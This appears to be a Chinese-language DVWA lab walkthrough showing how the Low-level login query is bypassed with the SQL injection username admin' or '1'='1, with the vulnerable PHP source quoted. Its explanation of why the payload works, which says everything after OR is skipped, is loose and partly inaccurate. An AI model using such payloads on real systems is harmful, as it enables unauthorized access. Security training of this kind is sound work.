Brute Force(暴力破解)

Low

首先看一下源码，提取出关键部分：

<?php
	--- 
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
		---
    }
	---
?>

可以看到想从数据库中获取数据，就需要满足 if( $result && mysqli_num_rows( $result ) == 1 ) ，即只要满足 $query 查询语句等于 1 ，即可从数据库中获取不为空的 $result ，破解就成功了。

可以看到破解的关键语句在这里

1	SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';

破解的关键在于，不知道 $pass 于是想办法把 AND 避开，只需要将用户名输入为 admin' or '1'='1 ，替代 $user 后的效果如下

1	SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';

可以看到根据逻辑连接词的执行顺序，or之后的语句都被跳过了，破解成功，拿到了数据库中的图片。

Medium

查看源码，发现在读取用户名和密码的地方加入了一行代码

$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));